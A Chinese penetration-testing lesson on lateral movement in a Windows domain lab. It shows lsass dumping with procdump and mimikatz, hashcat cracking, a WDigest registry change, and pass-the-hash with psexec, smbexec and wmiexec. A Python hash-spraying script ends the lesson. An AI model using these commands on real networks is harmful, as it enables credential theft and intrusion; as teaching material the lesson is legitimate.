67:内网安全-域横向smb&wmi明文或hash传递

思维导图

67:内网安全-域横向smb&wmi明文或hash传递

知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题
	1.利用哈希hash传递(pth,ptk等)进行移动
	2.利用其它服务协议(SMB,WMI等)进行哈希移动
	3.利用注册表操作开启Wdigest Auth值进行获取
	4.利用工具或第三方平台(Hachcat)进行破解获取

#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

#获取win密码hash的两个工具
Pwdump7
QuarksPwdump

知识点3:
域用户与本地用户的区别
比如,god/administrator是域用户,./administrator是本地用户

本课重点

  • 案例1:Procdump+Mimikatz配合获取
  • 案例2:Hashcat破解获取Windows NTML Hash
  • 案例3:域横向移动SMB服务利用-psexec,smbexec
  • 案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic
  • 案例5:域横向移动以上服务hash批量利用-python编译exe

案例1:Procdump+Mimikatz配合获取

Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。

  • Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
  • mimikatz下载:https://github.com/gentilkiwi/mimikatz/releases
# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp

# mimikatz 在本地执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

案例演示-procdump配合mimikatz

<1>首先执行以下命令,在当前目录下生成lsass.dmp文件

procdump -accepteula -ma lsass.exe lsass.dmp

67:内网安全-域横向smb&wmi明文或hash传递

67:内网安全-域横向smb&wmi明文或hash传递

<2>然后mimikatz上执行以下命令,找到密码。

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

67:内网安全-域横向smb&wmi明文或hash传递

67:内网安全-域横向smb&wmi明文或hash传递

案例2:Hashcat破解获取Windows NTML Hash

Hashcat下载:https://github.com/hashcat/hashcat

密码破解全能工具-Hashcat密码破解攻略:https://www.freebuf.com/sectool/164507.html

hashcat -a 0 -m 1000 hash file --force //爆破命令

案例3:域横向移动SMB服务利用-psexec,smbexec

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

psexec工具:

  • 在微软官方Pstools工具包中,但是官方Pstools中的psexec只能明文连接,无法采用hash连接。
  • 如果需要hash连接,可以使用impacket工具包中的psexec,但是impacket非官方自带,容易被杀。
  • Pstools官方工具包:
    • https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
  • impacket工具包:
    • https://gitee.com/RichChigga/impacket-examples-windows
    • https://github.com/SecureAuthCorp/impacket
#psexec第一种:先有ipc链接,psexec需要明文或hash传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行

#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd 
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 

#smbexec工具:
#非官方自带-参考impacket工具包使用,操作简单,容易被杀
#smbexec无需先ipc链接 明文或hash传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

案例演示

<1>psexec第一种:先有ipc链接,psexec需要明文或hash传递

net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行

67:内网安全-域横向smb&wmi明文或hash传递

<2>psexec第二种:不用建立IPC直接提供明文账户密码

psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd 
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

明文密码,成功。

67:内网安全-域横向smb&wmi明文或hash传递

hash密码,报错。原因是微软官方Pstools工具包中的psexec无法采用hash连接,只能明文连接

67:内网安全-域横向smb&wmi明文或hash传递

67:内网安全-域横向smb&wmi明文或hash传递

如果需要hash连接的话,可以下载第三方的impacket工具包。但是impacket工具包也有缺点,那就是很有可能会被查杀。

67:内网安全-域横向smb&wmi明文或hash传递

<3>smbexec无需先ipc链接 明文或hash传递

第1种:smbexec god/administrator:Admin12345@192.168.3.21

67:内网安全-域横向smb&wmi明文或hash传递

第2种:smbexec ./administrator:admin!@#45@192.168.3.32

67:内网安全-域横向smb&wmi明文或hash传递

第3种:smbexec -hashes :$HASH$ ./admin@192.168.3.21

67:内网安全-域横向smb&wmi明文或hash传递

案例4:域横向移动WMI服务利用-cscript,wmiexec,wmic

WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

#自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

#自带cscript明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

#套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

wmiexec.vbs脚本下载:

  • https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

案例演示

<1>自带WMIC 明文传递 优点是自带工具,不用考虑免杀,缺点是无回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

67:内网安全-域横向smb&wmi明文或hash传递

67:内网安全-域横向smb&wmi明文或hash传递

<2>自带cscript 明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

67:内网安全-域横向smb&wmi明文或hash传递

<3>套件impacket wmiexec 明文或hash传递 有回显exe版本 易被杀

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

67:内网安全-域横向smb&wmi明文或hash传递

案例5:域横向移动以上服务hash批量利用-python编译exe

<1>mimikatz收集到密码hash(假设没收集到明文)

67:内网安全-域横向smb&wmi明文或hash传递

<2>探测同网段存活主机

67:内网安全-域横向smb&wmi明文或hash传递

<3>收集域用户名信息

67:内网安全-域横向smb&wmi明文或hash传递

<4>至此,我们已经收集到了IP,用户名,和密码hash。我们可以写一个python脚本批量利用。

脚本

import os,time

ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}

users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}

hashs={
#'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}

for ip in ips:
	for user in users:
		for mimahash in hashs:
			#域用户和本地用户都试试
			#wmiexec -hashes :hash god/user@ip whoami
			#wmiexec -hashes :hash ./user@ip whoami
			exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
			exec = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
			print('--->' + exec + '<---')
			os.system(exec)
			time.sleep(0.5)

编译成exe文件

pyinstaller.exe -F fuck_neiwang_001.py

执行exe文件,拿下192.168.3.29主机

67:内网安全-域横向smb&wmi明文或hash传递

在192.168.3.29主机运行minikatz,获取到一个新的密码hash(假设只找到了hash)

67:内网安全-域横向smb&wmi明文或hash传递

将新的hash加入到python脚本中,重新编译打包,执行exe文件,就有可能渗透到别的主机,甚至域控。

上一篇:使用事件代理解决v-html点击事件无效


下一篇:玩转PowerShell第二节——【利用PsExec进行远程调用】-技术&分享